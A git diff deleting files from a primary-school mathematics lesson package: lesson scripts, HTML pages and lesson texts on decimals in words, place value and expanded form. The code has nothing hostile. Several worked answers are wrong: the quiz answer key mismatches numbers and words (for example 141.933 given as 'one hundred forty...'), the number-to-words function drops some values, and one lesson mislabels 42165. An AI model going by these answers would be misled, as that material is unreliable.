-      }else if (pos>1){    
-          //show hundredths
-          drawDigits(1,50+8*columnWidth,dcmlDigits[1]);
-          txtComment = txtComment + dcmlDigits[1];
-      };
-      drawComment(0,0,txtComment);
-  }else{//number --> words
-      pos = dcmlDigits.length;
-      if(pos>1){
-          indx = digits[1]*10+parseInt(digits[0]);
-          txtComment = txtComment + word(indx);
-      };
-      if(pos>2){
-          txtComment = txtComment + ' thousandths';
-      }else if (pos>1){
-          txtComment = txtComment + ' hundredths';
-      };
-      drawComment(0,0,txtComment);  
-  };
-};
-
-steps = [phase1,phase2,phase3,phase4];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function check_answer(karma) {
-     // check that student has provided correct answer
-     // if not draw()
-     result = $('#solution').val()
-     if (result == solution) {
-        $('#content')
-           .empty()
-           .html('<h3>Congratulations! You got that one right.' +
-                'Press Start to try another.</h3>')
-     } else if (result.length > 0) {
-        message = '<p>Sorry.</p><p>    '+ask+' is not '+result+'</p>'+
-               '<p>'+solution+'</p></p><p>Let me try.</p>'
-        $('#content')
-           .empty()
-           .html(message);
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase();
-     };
-};
-
-function startGame(karma) {
-  $('#content')
-      .empty()
-  decimalNumber = getRandom(0,999999999)/1000;
-  digits = (decimalNumber+"").split("").reverse();
-  words = getWords(digits);
-  whole = parseInt(decimalNumber)+"";
-  wholeDigits = whole.split("");
-  decimalp = (decimalNumber-whole).toFixed(3);
-  decimalstr = decimalp+"";
-  decimal = decimalstr.substring(2);
-  dcmlDigits = decimal.split("");
-  do{
-      n = dcmlDigits.pop();
-    } while (n=='0');
-  dcmlDigits.push(n);
-  decimal = dcmlDigits.join("");
-  if (Math.random()<1){
-      typeFlag = false;
-      question = 'What is '+decimalNumber+' in words?';
-      ask = decimalNumber;
-      solution = words;
-  }else{
-      typeFlag = true;
-      question = 'Write '+words+' as a decimal number.';
-      ask = words;
-      solution = decimalNumber;
-  }; 
-  $('<div id="workArea"/>')
-      .empty()
-      .html("<p>" + question + "</p>")
-      .appendTo('#content')
-  $("<input name = 'solution' id = 'solution' value = '' type='text'/>")
-      .focus()
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-};
-
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m01/map412m01a02/a.txt'})
-     .appendTo('#content')
-};
-
-setUpLesson(initialize, startGame);
-
diff --git a/Save_Mathematics/P4/map411m02/map411m02a08/source.txt b/Save_Mathematics/P4/map411m02/map411m02a08/source.txt
deleted file mode 100755
index 9286996..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a08/source.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Reading and Writing Decimals</h1>
-<!--NG-->
-<p>
-In this activity, you will be able to try your skill at writing decimal numbers in 
-English words and in writing the decimal number expressed in words. </p>
-<p>Press start to begin.</p>
diff --git a/Save_Mathematics/P4/map411m02/map411m02a09/a.txt b/Save_Mathematics/P4/map411m02/map411m02a09/a.txt
deleted file mode 100755
index 507b61b..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a09/a.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-<h1>Opportunity</h1>
-<!--NG-->
-Requirement: Reading and writing decimal numbers with 3 decimal places or more.
-
-In this activity, you will have an opportunity to show what you have learned about 
-writing decimal numbers in words and figures. 
-
-When writing a decimal number in words you will use some of the following words:
-
-zero, one, two, three, four, five, six, seven, eight, nine,
-ten, eleven, twelve, thirteen, fourteen, fifteen, 
-sixteen, seventeen, eighteen, nineteen,
-twenty, thirty, forty, fifty, sixty, seventy, eighty, ninety, hundred
-tenth(s), hundredth(s), thousandth(s),
-and
-
-Press Start to begin.
diff --git a/Save_Mathematics/P4/map411m02/map411m02a09/css/divs.css b/Save_Mathematics/P4/map411m02/map411m02a09/css/divs.css
deleted file mode 100755
index cefafb4..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a09/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:13.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m02/map412m02a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m02/map412m02a01/description.py
- */
diff --git a/Save_Mathematics/P4/map411m02/map411m02a09/css/lesson.css b/Save_Mathematics/P4/map411m02/map411m02a09/css/lesson.css
deleted file mode 100755
index 2dbb5ae..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a09/css/lesson.css
+++ /dev/null
@@ -1,6 +0,0 @@
-#quizArea{
-    position:relative;
-    float:left;
-    width: 100%;
-    height: 400px;
-}
diff --git a/Save_Mathematics/P4/map411m02/map411m02a09/js/lesson-karma.js b/Save_Mathematics/P4/map411m02/map411m02a09/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a09/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map411m02/map411m02a09/js/lesson.js b/Save_Mathematics/P4/map411m02/map411m02a09/js/lesson.js
deleted file mode 100755
index 53fac19..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a09/js/lesson.js
+++ /dev/null
@@ -1,97 +0,0 @@
-function generate_operand(min,max) {
-  return Math.floor(Math.random() * (max-min) + min);
-};
-
-function expandNumber(number){
-  position = 0;
-  rest = number;
-  digits = [];
-  while (rest > 0) {
-      digit = rest%10;
-      digits[position] = digit;
-      position += 1;
-      rest = (rest - digit) / 10;
-  };
-  return digits;
-};
-
-function word(n){
-    digit=['zero','one','two','three','four','five','six','seven','eight','nine'];
-    teen=['ten','eleven','twelve','thirteen','fourteen','fifteen','sixteen','seventeen','eighteen','nineteen'];
-    tens=['','','twenty','thirty','forty','fifty','sixty','seventy','eighty','ninety']
-    if (n<10){ 
-        return digit[n]
-    } else if (n<19) {
-        return teen[n-10]
-    } else {
-        x = Math.floor(n/10);
-        y = n%10;
-        if (y>1){
-            return tens[x] + '-' + digit[y];
-        } else {
-            return tens[x];
-        };
-    };
-};
-
-function getWords(whole, decimal){
-    h = Math.floor(whole/100);
-    hundreds = word(h);
-    units = word(whole%100);
-    decimal_units = Math.floor(decimal%100);
-    decimal_tenths = Math.floor(decimal/100);
-    tenths = word(decimal_tenths);
-    decimal_rest = Math.floor(decimal%100);
-    thousandths = word(decimal_rest);
-    words = '';
-    if (h > 0){
-        words = hundreds + ' hundred ';
-    } else {
-        words = '';
-    };
-    words = words + units + ' and ';
-    if (decimal_units > 0) {
-        words = words + tenths + ' hundred ' + thousandths + ' thousandths';
-    } else {
-        words = words + thousandths + ' hundredths';
-    };
-    return words;
-};
-
-function generate_opportunity(questions){
-    //build quiz.js
-    quiztxt = '';
-    for (i=0;i<questions;i++){
-        n = generate_operand(0,999999);
-        whole = Math.floor(n/1000);
-        decimal = n%1000;
-        words = getWords(whole, decimal);
-        ntxt = whole + '.' + decimal;
-        if (Math.random()<0.5){
-            quiztxt = quiztxt + "{ques:'" + words + "', ans:'" + ntxt + "'},\n"
-        } else {
-            quiztxt = quiztxt + "{ques:'" + ntxt + "', ans:'" + words + "'},\n"
-        };  
-    };
-    return quiztxt;
-};
-
-function initialize(karma) {
-    quiztxt = generate_opportunity(12);
-    url = window.location + "";
-    $('<div id="txtMain" />')
-        .load('http://localhost:8008/cgi-bin/getFile.py',
-        {'filename':'content/Mathematics/map412m01/map412m01a03/a.txt'})
-        .appendTo('#content');
-    $('<div id="workArea" />')
-        .load('http://localhost:8008/cgi-bin/writeQuiz.py',
-        {'activity':url,'text': quiztxt});
-};
-
-function startGame(karma) {
-    $('<div id="quizArea" />')
-        .appendTo('#content')
-        .jQuizMe(quiz,options)
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m02/map411m02a09/js/quiz.js b/Save_Mathematics/P4/map411m02/map411m02a09/js/quiz.js
deleted file mode 100755
index c719e75..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a09/js/quiz.js
+++ /dev/null
@@ -1,24 +0,0 @@
-var quiz = {
-fill:[
-{ques:'754.975', ans:'seven hundred fifty-four and nine hundred seventy-five thousandths'},
-{ques:'one hundred fifty and eight hundred eighty-nine thousandths', ans:'150.889'},
-{ques:'forty-three and zero hundred twenty-four thousandths', ans:'43.24'},
-{ques:'six hundred forty-six and three hundred ninety-nine thousandths', ans:'646.399'},
-{ques:'141.933', ans:'one hundred forty and nine hundred thirty-three thousandths'},
-{ques:'six hundred ten and four hundred eighty-three thousandths', ans:'610.483'},
-{ques:'four hundred zero and two hundred forty thousandths', ans:'400.241'},
-{ques:'seven hundred twenty-nine and two hundred fifty thousandths', ans:'729.250'},
-{ques:'101.542', ans:'one hundred one and five hundred forty-two thousandths'},
-{ques:'197.580', ans:'one hundred ninety-seven and five hundred eighty thousandths'},
-{ques:'471.963', ans:'four hundred seventy and nine hundred sixty-three thousandths'},
-{ques:'641.336', ans:'six hundred forty and three hundred thirty-six thousandths'},
-]
-};
-
-var options = {
-    random:false,
-    allRandom:false,
-    disableRestart:true,
-    disableDelete:true,
-    title: "Opportunity",}
-
diff --git a/Save_Mathematics/P4/map411m02/map411m02a09/source.txt b/Save_Mathematics/P4/map411m02/map411m02a09/source.txt
deleted file mode 100755
index 507b61b..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a09/source.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-<h1>Opportunity</h1>
-<!--NG-->
-Requirement: Reading and writing decimal numbers with 3 decimal places or more.
-
-In this activity, you will have an opportunity to show what you have learned about 
-writing decimal numbers in words and figures. 
-
-When writing a decimal number in words you will use some of the following words:
-
-zero, one, two, three, four, five, six, seven, eight, nine,
-ten, eleven, twelve, thirteen, fourteen, fifteen, 
-sixteen, seventeen, eighteen, nineteen,
-twenty, thirty, forty, fifty, sixty, seventy, eighty, ninety, hundred
-tenth(s), hundredth(s), thousandth(s),
-and
-
-Press Start to begin.
diff --git a/Save_Mathematics/P4/map411m02/map411m02a09/source/a.txt b/Save_Mathematics/P4/map411m02/map411m02a09/source/a.txt
deleted file mode 100755
index 507b61b..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a09/source/a.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-<h1>Opportunity</h1>
-<!--NG-->
-Requirement: Reading and writing decimal numbers with 3 decimal places or more.
-
-In this activity, you will have an opportunity to show what you have learned about 
-writing decimal numbers in words and figures. 
-
-When writing a decimal number in words you will use some of the following words:
-
-zero, one, two, three, four, five, six, seven, eight, nine,
-ten, eleven, twelve, thirteen, fourteen, fifteen, 
-sixteen, seventeen, eighteen, nineteen,
-twenty, thirty, forty, fifty, sixty, seventy, eighty, ninety, hundred
-tenth(s), hundredth(s), thousandth(s),
-and
-
-Press Start to begin.
diff --git a/Save_Mathematics/P4/map411m02/map411m02a09/source/css/divs.css b/Save_Mathematics/P4/map411m02/map411m02a09/source/css/divs.css
deleted file mode 100755
index cefafb4..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a09/source/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:13.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m02/map412m02a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m02/map412m02a01/description.py
- */
diff --git a/Save_Mathematics/P4/map411m02/map411m02a09/source/index.html b/Save_Mathematics/P4/map411m02/map411m02a09/source/index.html
deleted file mode 100755
index af9e6f3..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a09/source/index.html
+++ /dev/null
@@ -1,72 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-<title>
-map412m02a01
-</title>
-<meta content="text/html, charset=utf-8" http-equiv="Content-Type"/>
-<link href="../../../assets/image/favicon.ico" type="image/ico" rel="icon"/>
-<link href="../../../css/global.css" type="text/css" rel="stylesheet"/>
-<link href="../../../css/jquizme.css" type="text/css" rel="stylesheet"/>
-<link href="css/lesson.css" type="text/css" rel="stylesheet"/>
-<script src="../../../js/jquery-1.4.js" type="text/javascript"></script>
-<script src="../../../js/jquery-ui.all.js" type="text/javascript"></script>
-<script src="../../../js/karma.js" type="text/javascript"></script>
-<script src="../../../js/global.js" type="text/javascript"></script>
-<script src="../../../js/navigation.js" type="text/javascript"></script>
-<script src="../../../js/jquizme.js" type="text/javascript"></script>
-<script src="../../../js/common.js" type="text/javascript"></script>
-<script src="js/lesson-karma.js" type="text/javascript"></script>
-<script src="js/quiz.js" type="text/javascript"></script>
-<script src="js/lesson.js" type="text/javascript"></script>
-
-</head>
-<body>
-<div id="header">
-<div id='topbtn_left'>
-<div title='home' id='linkBackTwo' class='linkHome'></div>
-</div>
-<div id='topbtn_left'>
-<div title='Subject' id='linkBackOne' class='linkMathematics'></div>
-</div>
-<div id='topbtn_left'>
-<div title='Back' id='linkBack' class='linkBack'></div>
-</div>
-<div id="lesson_title">
-<img src="../../../assets/image/title_block_lt.png" align="absmiddle" width="33" height="75"></img>
-map412m02a01
-<img src="../../../assets/image/title_block_rt.png" align="absmiddle" width="33" height="75"></img>
-</div>
-<div id="topbtn_right">
-<div title="Quit" id="linkQuit" class="linkQuit"></div>
-</div>
-<div id="topbtn_right">
-<div title="Apply" id="linkApply" class="linkApply"></div>
-</div>
-<div id="topbtn_right">
-<div title="Help" id="linkHelp" class="linkHelp"></div>
-</div>
-<div id="topbtn_right">
-<div title="Edit" id="linkEdit" class="linkEdit"></div>
-</div>
-</div>
-<div id="help"></div>
-<div id="content">
-<div id="quizArea"></div>
-</div>
-<div id="footer">
-<div id="botbtn_left">
-<div class="linkBack" id="linkPrevScreen" title="Previous"></div>
-</div>
-<div id="botbtn_right">
-<div class="linkNext" id="linkNextScreen" title="Next"></div>
-</div>
-<div id="botbtn_right">
-<div id="linkPlayAgain" title="Play Again"></div>
-</div>
-<div id="botbtn_right">
-<div id="linkStart" title="Start"></div>
-</div>
-</div>
-</body>
-</html>
diff --git a/Save_Mathematics/P4/map411m02/map411m02a09/source/js/lesson-karma.js b/Save_Mathematics/P4/map411m02/map411m02a09/source/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a09/source/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map411m02/map411m02a09/source/js/lesson.js b/Save_Mathematics/P4/map411m02/map411m02a09/source/js/lesson.js
deleted file mode 100755
index 4d270d6..0000000
--- a/Save_Mathematics/P4/map411m02/map411m02a09/source/js/lesson.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function initialize(karma){
-   $('<div id = "txtMain"/>')
-       .load('http://localhost:8008/cgi-bin/getFile.py',
-       {'filename':'content/Mathematics11/map412m02/map412m02a01/a.txt'})
-       .appendTo('#content')
-};
-
-function startGame(karma) {
-};
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m03/activities.js b/Save_Mathematics/P4/map411m03/activities.js
deleted file mode 100755
index 5ed1544..0000000
--- a/Save_Mathematics/P4/map411m03/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map4','basic','map411m03a01','blue'],
-['2','2','map4','basic','map411m03a02','blue'],
-['3','3','map4','basic','map411m03a03','blue'],
-['4','4','map4','basic','map411m03a04','blue'],
-['5','5','map4','basic','map411m03a05','blue'],
-['6','6','map4','basic','map411m03a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m03/map411m03a01/a.txt b/Save_Mathematics/P4/map411m03/map411m03a01/a.txt
deleted file mode 100644
index aaf5e7b..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a01/a.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<h4>
- prerequisite:counting
-</h4>
-<p>
- Countig is very important prerequisite and it should be recalled before starting this course ,about Place value of digits in a number and its expanded form notation .
- <br />
- So in order for us to remember the counting course:
- <br />
- <br />
- <span style="background-color: #ff0000;">
-  Pictures of those materials
- </span>
-</p>
-<ul>
- <li>
-  We can count laptops in the classroom.
- </li>
-</ul>
-<ul>
- <li>
-  We can count pieces of chalk.
- </li>
- <li>
-  We can count maths books.
- </li>
- <li>
-  We can count number of students in the classroom.
- </li>
-</ul>
-<p>
- <br />
- The cooperative TUZAMURANE has 234 bananas to share among its members; those bananas can be divided into parts so that it can be easy to distribute them among those members as follows:
- <br />
- 234 bananas= 200 bananas + 30bananas+ 4 bananas
- <br />
- or
- <br />
- 234 bananas=(2*100)bananas+(3*10)bananas+(4*1)bananas
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m03/map411m03a01/description.py b/Save_Mathematics/P4/map411m03/map411m03a01/description.py
deleted file mode 100644
index 4a08fda..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m03a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m03/map411m03a01/lesson.js b/Save_Mathematics/P4/map411m03/map411m03a01/lesson.js
deleted file mode 100644
index 751c47d..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m03/map411m03a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m03/map411m03a01/source.txt b/Save_Mathematics/P4/map411m03/map411m03a01/source.txt
deleted file mode 100644
index aaf5e7b..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a01/source.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<h4>
- prerequisite:counting
-</h4>
-<p>
- Countig is very important prerequisite and it should be recalled before starting this course ,about Place value of digits in a number and its expanded form notation .
- <br />
- So in order for us to remember the counting course:
- <br />
- <br />
- <span style="background-color: #ff0000;">
-  Pictures of those materials
- </span>
-</p>
-<ul>
- <li>
-  We can count laptops in the classroom.
- </li>
-</ul>
-<ul>
- <li>
-  We can count pieces of chalk.
- </li>
- <li>
-  We can count maths books.
- </li>
- <li>
-  We can count number of students in the classroom.
- </li>
-</ul>
-<p>
- <br />
- The cooperative TUZAMURANE has 234 bananas to share among its members; those bananas can be divided into parts so that it can be easy to distribute them among those members as follows:
- <br />
- 234 bananas= 200 bananas + 30bananas+ 4 bananas
- <br />
- or
- <br />
- 234 bananas=(2*100)bananas+(3*10)bananas+(4*1)bananas
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m03/map411m03a02/a.txt b/Save_Mathematics/P4/map411m03/map411m03a02/a.txt
deleted file mode 100644
index a112c51..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a02/a.txt
+++ /dev/null
@@ -1,377 +0,0 @@
-<h2>
- Knowledge
-</h2>
-<ul>
- <li>
-  To find place value of a digit, arrange digits in the table starting from the right.
- </li>
-</ul>
-<p>
- The value of each digit is determined by its place value.
-</p>
-<ul>
- <li>
-  To write a number in expanded form; write the value of digits in a given number. e g: 2765=2thousands 7hundreds 6tens 5ones or multiply the digits by the values of their place values eg:1985=(1*1000)+(9*100)+ (8*10)+(5*1)
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<h4>
- <span style="text-decoration: underline;">
-  Examples
- </span>
-</h4>
-<p>
- 1) 563 mangoes can be shared into its parts as follows:
- <br />
- 563= 500 mangoes + 60 mangoes + 3 mangoes
- <br />
- <br />
- <br />
- So, the place value of each digit in 563 is represented as follows:
- <br />
- 563=5 hundreds+6 tens+ 3 ones
- <br />
- The value of digit 5 in 563 is 5 hundreds
- <br />
- The value of digit 6 in 563 is 6 tens
- <br />
- The value of digit 3 in 563 is 3 ones
- <br />
- <br />
- <span style="background-color: #ff0000;">
-  Pictures of bananas that show place value and expanded form of a number
- </span>
- <br />
- <br />
- Place value of digits can be given to determine the number
- <br />
- <br />
-</p>
-<h4>
- Example
-</h4>
-<p>
- 3 thousands + 4 hundreds + 2 tens + 4 ones
- <br />
- <br />
- the number is 3424
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Place value of digits can be shown by using a table as follows:
-  <table style="width: 523px; height: 132px;" border="1">
-   <tbody>
-    <tr>
-     <td style="text-align: center;" colspan="3" width="17%" valign="top">
-      <br />
-      THOUSANDS
-      <br />
-      <br />
-     </td>
-     <td style="text-align: center;" colspan="3" width="17%" valign="top">
-      <br />
-      UNITS
-      <br />
-      <div style="text-align: center;">
-      </div>
-     </td>
-    </tr>
-    <tr>
-     <td style="text-align: center;" width="17%" valign="top">
-      HUNDREDS
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      TENS
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      ONES
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      HUNDREDS
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      TENS
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      ONES
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td style="text-align: center;" width="17%" valign="top">
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      3
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      4
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      2
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      4
-      <br />
-     </td>
-    </tr>
-   </tbody>
-  </table>
- </li>
-</ul>
-<p>
- From the table above the place value of each digit in the number 98165 can be shown like this :
- <br />
- 9 is the place value of ten thousands
- <br />
- 8 is the place value of one thousands
- <br />
- 1 is the place value of hundreds
- <br />
- 6 is the place value of tens
- <br />
- 5 is the place value of ones
- <br />
- <br />
- 9 8 1 6 5
- <br />
- | | | | |_____________________ones
- <br />
- | | | |_______________________tens
- <br />
- | | |_________________________hundreds
- <br />
- | |___________________________thousands
- <br />
- |_____________________________ten thousands
- <br />
- <br />
- <br />
-</p>
-<h4>
- Example2
-</h4>
-<p>
- write in expanded form
-</p>
-<p>
- 1) 8543
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution
- </span>
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td style="text-align: center;" width="25%" valign="top">
-    thousands
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    hundreds
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    tens
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    ones
-   </td>
-  </tr>
-  <tr>
-   <td style="text-align: center;" width="25%" valign="top">
-    8
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    5
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    4
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- So 8543 =8 thousands 5hundreds 4 tens 3 ones
- <br />
- <br />
- This can be written in value form as follows:
- <br />
- <br />
- 8543=(8*1000)+(5*100)+(4*10)+(3*1)
- <br />
- <br />
- 2) 3968=(3*1000)+(9*100)+(6*10)+(8*1)
- <br />
- <br />
- <br />
- 3)write in figures
- <br />
- <br />
- 4 ten thousands +2 thousands +1 hundreds +6 tens + 5 ones
- <br />
- <span style="font-weight: bold;">
-  Solution
-  <br />
- </span>
- this is done by putting its digits into place value table
- <span style="font-weight: bold;">
-  <br />
- </span>
- <br />
- <br />
-</p>
-<table style="width: 582px; height: 89px;" border="1">
- <tbody>
-  <tr>
-   <td style="text-align: center;" width="25%" valign="top">
-    ten thousands
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    thousands
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    hundreds
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    tens
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    ones
-   </td>
-  </tr>
-  <tr>
-   <td style="text-align: center;" width="25%" valign="top">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    2
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    1
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    6
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    5
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- the number is : 42165
- <br />
- <br />
- this can also be done as follows:
- <br />
- <br />
- 24165=2*10000=20000
- <br />
- 4*1000 = 4000
- <br />
- 1*100 = 100
- <br />
- 6*10 = 60
- <br />
- 5*1 = 5
- <br />
- __________
- <br />
- 42165
- <br />
- 4) Students go out and count the number of all windows of all classrooms .
- <br />
- a) Write the number got in the exercise book in expanded form
- <br />
- b) Show the place value of each digit of that number
-</p>
-<h2>
- <span style="text-decoration: underline;">
-  Exercises
- </span>
-</h2>
-<p>
- <br />
- 1) What is the place value of 8 in the following numbers:
- <br />
- <br />
- a) 1850
- <br />
- b) 6854
- <br />
- c) 10082
- <br />
- d) 86135
- <br />
- e) 31128
- <br />
- f) 68007
- <br />
- <br />
- <br />
- 2) Use the expanded notation to write the numbers bellow:
- <br />
- <br />
- a) 36113
- <br />
- b) 40300
- <br />
- c) 76826
- <br />
- d) 89392
- <br />
- e) 95750
- <br />
- f) 73645
- <br />
- g) 2 thousands+ 3hundreds+ 4 tens+ 2 ones
- <br />
- h) 9 thousands+ 3hundreds+ 6 tens+ 5 ones
- <br />
- i) (7*1000)+ (3*100)+ (2*10)+ (3*1)
- <br />
- j) 2 thousands+ 3hundreds+ 4 tens+ 2 ones
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m03/map411m03a02/description.py b/Save_Mathematics/P4/map411m03/map411m03a02/description.py
deleted file mode 100644
index ec18e67..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m03a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m03/map411m03a02/lesson.js b/Save_Mathematics/P4/map411m03/map411m03a02/lesson.js
deleted file mode 100644
index 2d7604c..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m03/map411m03a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m03/map411m03a02/source.txt b/Save_Mathematics/P4/map411m03/map411m03a02/source.txt
deleted file mode 100644
index a112c51..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a02/source.txt
+++ /dev/null
@@ -1,377 +0,0 @@
-<h2>
- Knowledge
-</h2>
-<ul>
- <li>
-  To find place value of a digit, arrange digits in the table starting from the right.
- </li>
-</ul>
-<p>
- The value of each digit is determined by its place value.
-</p>
-<ul>
- <li>
-  To write a number in expanded form; write the value of digits in a given number. e g: 2765=2thousands 7hundreds 6tens 5ones or multiply the digits by the values of their place values eg:1985=(1*1000)+(9*100)+ (8*10)+(5*1)
- </li>
-</ul>
-<p>
- &nbsp;
-</p>
-<h4>
- <span style="text-decoration: underline;">
-  Examples
- </span>
-</h4>
-<p>
- 1) 563 mangoes can be shared into its parts as follows:
- <br />
- 563= 500 mangoes + 60 mangoes + 3 mangoes
- <br />
- <br />
- <br />
- So, the place value of each digit in 563 is represented as follows:
- <br />
- 563=5 hundreds+6 tens+ 3 ones
- <br />
- The value of digit 5 in 563 is 5 hundreds
- <br />
- The value of digit 6 in 563 is 6 tens
- <br />
- The value of digit 3 in 563 is 3 ones
- <br />
- <br />
- <span style="background-color: #ff0000;">
-  Pictures of bananas that show place value and expanded form of a number
- </span>
- <br />
- <br />
- Place value of digits can be given to determine the number
- <br />
- <br />
-</p>
-<h4>
- Example
-</h4>
-<p>
- 3 thousands + 4 hundreds + 2 tens + 4 ones
- <br />
- <br />
- the number is 3424
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Place value of digits can be shown by using a table as follows:
-  <table style="width: 523px; height: 132px;" border="1">
-   <tbody>
-    <tr>
-     <td style="text-align: center;" colspan="3" width="17%" valign="top">
-      <br />
-      THOUSANDS
-      <br />
-      <br />
-     </td>
